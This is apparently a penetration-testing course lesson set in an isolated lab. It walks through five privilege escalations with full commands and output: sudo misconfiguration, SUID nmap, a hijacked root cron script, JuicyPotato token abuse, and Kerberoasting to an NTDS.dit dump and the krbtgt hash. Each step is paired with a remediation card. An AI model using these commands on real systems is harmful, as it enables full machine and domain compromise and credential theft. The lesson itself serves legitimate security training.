Skip to main content

Privilege escalation — Guided walkthrough

Five escalations end to end. Three on Linux (Metasploitable 2), two on Windows (Metasploitable 3 + a small AD lab). Each time: the context, the command, the proof, the report.

Isolated lab

All the VMs are on the host-only network. No command leaves the lab.

What you will be able to do after this lesson

  • Find and exploit five different escalation paths.
  • Use linpeas, winpeas, gtfobins, bloodhound cleanly.
  • Crack a Kerberos TGS with hashcat -m 13100.
  • Extract in-memory credentials from a Windows machine.
  • Write an escalation finding usable in a report.

The setup

MachineRoleIP
KaliAttacker10.10.10.5
Metasploitable 2 (Linux)Linux target, msfadmin session obtained10.10.10.20
Metasploitable 3 WinStandalone Windows target, vagrant session obtained10.10.10.12
DC AD labDomain controller acme.local10.10.10.100
WS01 AD labDomain-joined Windows workstation, alice session obtained10.10.10.101

We build the mini AD lab with GOAD or with a simple Windows Server + Windows 10 client. We come back to it in module 10.


Escalation 1 (Linux) — sudo vim with NOPASSWD

You have an msfadmin shell on Metasploitable 2. Question 1:

sudo -l

Output:

User msfadmin may run the following commands on this host:
(ALL) NOPASSWD: ALL

A teaching jackpot: msfadmin has full sudo rights with no password. No need for vim:

sudo bash
whoami
# root

Card:

## Escalation 1 — sudo NOPASSWD ALL (Metasploitable 2)
- Starting account: msfadmin
- Final account: root
- Path: sudo -l shows "NOPASSWD: ALL" → sudo bash
- Impact: total compromise of the machine
- Recommendation: remove the sudoers line, define specific commands

Escalation 2 (Linux) — SUID on nmap

Let's simulate a subtler scenario. On another VM, msfadmin does not have sudo. It has a SUID nmap:

find / -perm -4000 -type f 2>/dev/null | head

Output:

/usr/bin/nmap
/bin/mount
/bin/su
/usr/bin/passwd

A SUID root /usr/bin/nmap is abnormal. We check GTFOBins → on old nmap versions, the interactive mode:

nmap --interactive
nmap> !sh
sh-3.2# whoami
root

Root via nmap. Card:

## Escalation 2 — SUID on /usr/bin/nmap (interactive mode)
- Starting account: msfadmin
- Final account: root
- Path: nmap --interactive → !sh → root shell
- Impact: total compromise
- Recommendation: remove the SUID (chmod u-s /usr/bin/nmap), use targeted
capabilities if nmap must run without privileges

Escalation 3 (Linux) — Cron with a relative path

Let's set up a scenario artificially. As root on the VM, once:

# As root
echo '#!/bin/bash' > /usr/local/bin/backup.sh
echo 'echo "backup ran at $(date)" >> /var/log/backup.log' >> /usr/local/bin/backup.sh
chmod +x /usr/local/bin/backup.sh
chown msfadmin:msfadmin /usr/local/bin/backup.sh # <-- intentional mistake

# Cron file
echo '* * * * * root /usr/local/bin/backup.sh' > /etc/cron.d/backup

As msfadmin, we spot:

ls -la /usr/local/bin/backup.sh
# -rwxr-xr-x 1 msfadmin msfadmin 55 /usr/local/bin/backup.sh

The script is owned by msfadmin, run by root every minute. We exploit it:

cat > /usr/local/bin/backup.sh <<'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod +s /tmp/rootbash
EOF

Wait one minute:

sleep 65
/tmp/rootbash -p
whoami
# root

Card:

## Escalation 3 — Cron with a user-writable script
- Starting account: msfadmin
- Final account: root
- Path:
1. cat /etc/cron.d/backup → script run by root
2. ls -la /usr/local/bin/backup.sh → owned by msfadmin
3. Replace the script with a SUID payload
4. After one minute: /tmp/rootbash -p → root shell
- Impact: total compromise of the machine, with persistence
- Recommendation: chown root:root for all scripts in root cron

Escalation 4 (Windows) — WinPEAS and token impersonation

On Metasploitable 3 Windows, you have a vagrant session in Meterpreter:

meterpreter > getuid
Server username: METASPLOITABLE3\vagrant

meterpreter > getprivs
Enabled Process Privileges
==========================
SeAssignPrimaryTokenPrivilege
SeIncreaseQuotaPrivilege
SeSecurityPrivilege
SeTakeOwnershipPrivilege
SeLoadDriverPrivilege
SeSystemProfilePrivilege
SeSystemtimePrivilege
SeProfileSingleProcessPrivilege
SeIncreaseBasePriorityPrivilege
SeCreatePagefilePrivilege
SeBackupPrivilege
SeRestorePrivilege
SeShutdownPrivilege
SeDebugPrivilege ← DEBUG !
SeSystemEnvironmentPrivilege
SeChangeNotifyPrivilege
SeRemoteShutdownPrivilege
SeUndockPrivilege
SeManageVolumePrivilege
SeImpersonatePrivilege ← IMPERSONATE !
SeCreateGlobalPrivilege
SeIncreaseWorkingSetPrivilege
SeTimeZonePrivilege
SeCreateSymbolicLinkPrivilege

SeImpersonatePrivilege = we can steal a token. This is a service account, or a user account, historically misconfigured.

Use PrintSpoofer or JuicyPotato to pivot to SYSTEM:

meterpreter > upload /usr/share/windows-resources/juicypotato/JuicyPotato.exe
meterpreter > shell
C:\> whoami
metasploitable3\vagrant

C:\> JuicyPotato.exe -l 1337 -p cmd.exe -a "/c whoami" -t *
Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
....................
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};nt authority\system

[+] CreateProcessWithTokenW OK

On recent Windows 10/11, use PrintSpoofer or RoguePotato depending on the version.

Card:

## Escalation 4 — Token impersonation via SeImpersonatePrivilege
- Starting account: METASPLOITABLE3\vagrant
- Final account: NT AUTHORITY\SYSTEM
- Path:
1. getprivs reveals SeImpersonatePrivilege
2. Exploitation with JuicyPotato/PrintSpoofer
3. SYSTEM shell
- Impact: full control of the system, hash extraction possible
- Recommendation: minimize service accounts with SeImpersonate,
monitor token creation via WMI

Escalation 5 (AD) — Kerberoasting end to end

You have the alice session on WS01, a machine joined to the acme.local domain. Goal: reach Domain Admin.

5a. List the SPNs

From Kali, with Impacket:

impacket-GetUserSPNs -request \
-dc-ip 10.10.10.100 \
acme.local/alice:Alice2024! \
-outputfile preuves/tgs-tickets.txt

Output:

ServicePrincipalName        Name        MemberOf
MSSQLSvc/sqlserver.acme:1433 svc_sql CN=Service Accounts,CN=Users,DC=acme,DC=local
CIFS/backup.acme.local svc_backup CN=Service Accounts,CN=Users,DC=acme,DC=local

[*] Tickets written to preuves/tgs-tickets.txt

Two service accounts with an SPN. Two Kerberos tickets retrieved.

File excerpt:

$krb5tgs$23$*svc_sql$acme.local$MSSQLSvc/sqlserver.acme:1433*$abc123def456...

5b. Cracking with hashcat

hashcat -m 13100 preuves/tgs-tickets.txt /usr/share/wordlists/rockyou.txt \
-r /usr/share/hashcat/rules/best64.rule

After a few minutes:

$krb5tgs$23$*svc_sql$acme.local$MSSQLSvc/sqlserver.acme:1433*$abc123...:SQLpass2020!

The SQL service account's password in 3 minutes.

5c. Pivot

With the password, we connect:

impacket-psexec acme.local/svc_sql:SQLpass2020!@sqlserver.acme.local

SYSTEM shell on sqlserver.acme.local.

On that server, Meterpreter → BloodHound collector → we see:

  • svc_sql is a member of Backup Operators.
  • Backup Operators can read any system file, including NTDS.dit on the DC.

Final path:

# From the SQL server, use ntdsutil to copy NTDS.dit:
ntdsutil "ac in ntds" "ifm" "cr fu C:\temp\dump" q q

# Pull it back over SMB, extract with impacket-secretsdump:
impacket-secretsdump -ntds NTDS.dit -system SYSTEM LOCAL

Output:

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31c...:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:8d3...:::

The krbtgt hash = the ability to forge a Golden Ticket = permanent access to the domain.

5d. Card

## Escalation 5 — Kerberoasting → Backup Operators → NTDS.dit
- Starting account: ACME\alice (standard user)
- Final account: Full compromise (krbtgt hash)
- Path:
1. impacket-GetUserSPNs → 2 service accounts with SPN
2. hashcat -m 13100 → svc_sql password cracked
3. psexec on SQL server → local SYSTEM
4. BloodHound reveals svc_sql ∈ Backup Operators
5. ntdsutil IFM on DC → NTDS.dit + SYSTEM hive
6. secretsdump → krbtgt hash extracted
- Impact: full domain compromise, Golden Ticket possible
- Recommendations:
1. svc_sql password > 25 characters (resists cracking)
2. Remove svc_sql from the Backup Operators group
3. Audit all accounts with an SPN, lengthen their passwords
4. Move to MSAs (Managed Service Accounts) that rotate automatically

Step 6 — BloodHound in support

BloodHound makes paths like the one in step 5 visible. From Kali:

# Collector from WS01 with alice's creds
bloodhound-python -u alice -p 'Alice2024!' -d acme.local \
-ns 10.10.10.100 -c All -o preuves/bloodhound

# Import into Neo4j
neo4j start
bloodhound
# Drag & drop the .json files into the interface

Ready-made query: Shortest Paths to Domain Admins from Owned.

We see the path alice → svc_sql (via kerberoast) → Backup Operators → DC → Domain Admin as a graph. This is what we show the client. Far more compelling than a list of commands.


Step 7 — The summary table

| # | Target          | Start     | End        | Path                             | Evidence                   |
| - | --------------- | --------- | ---------- | -------------------------------- | -------------------------- |
| 1 | metasploitable2 | msfadmin | root | sudo NOPASSWD | preuves/01-sudo.log |
| 2 | metasploitable2 | msfadmin | root | SUID on nmap --interactive | preuves/02-nmap-suid.log |
| 3 | metasploitable2 | msfadmin | root | writable cron script | preuves/03-cron.log |
| 4 | metasploitable3 | vagrant | SYSTEM | JuicyPotato / SeImpersonate | preuves/04-potato.log |
| 5 | acme.local | alice | Full compro| Kerberoast → Backup Ops → NTDS.dit| preuves/05-kerberoast.log |

Wrap-up

In 90 minutes:

  • Five different escalations, five different paths.
  • Five proofs in a folder.
  • A BloodHound graph that makes the AD discovery visual.
  • A krbtgt hash — enough to survive any partial remediation.

This is what a client pays for. Not the scans. Not the CVEs. The paths.

Next lesson: your turn. Three escalations, three paths, three cards.